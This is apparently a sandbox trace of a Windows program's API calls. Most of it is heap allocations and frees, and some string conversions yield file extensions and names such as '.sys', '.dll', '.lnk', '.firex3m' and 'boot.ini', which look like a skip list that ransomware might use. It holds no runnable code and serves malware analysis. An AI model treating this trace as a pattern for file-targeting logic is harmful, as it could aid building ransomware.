MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x665060, cbMultiByte=4, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr=".syslaamdata\\\x19c") returned 4 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692618 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692778 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.741] GetProcessHeap () returned 0x630000 [0066.741] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665058 | out: hHeap=0x630000) returned 1 [0066.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664ec8, cbMultiByte=4, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr=".dlllaamdata\\\x19c") returned 4 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692658 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692498 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6927f8 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f80 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.742] GetProcessHeap () returned 0x630000 [0066.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f80 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f80 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f80 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.743] GetProcessHeap () returned 0x630000 [0066.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664f40, cbMultiByte=4, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr=".lnklaamdata\\\x19c") returned 4 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6926b8 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.744] GetProcessHeap () returned 0x630000 [0066.744] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.744] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.745] GetProcessHeap () returned 0x630000 [0066.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692600, cbMultiByte=8, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr=".firex3mdata\\\x19c") returned 8 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692458 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692618 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.746] GetProcessHeap () returned 0x630000 [0066.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.747] GetProcessHeap () returned 0x630000 [0066.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692658 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692660, cbMultiByte=8, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="boot.inidata\\\x19c") returned 8 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692458 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.748] GetProcessHeap () returned 0x630000 [0066.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692618 [0066.748] GetProcessHeap () returned 0x630000 [0066.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] 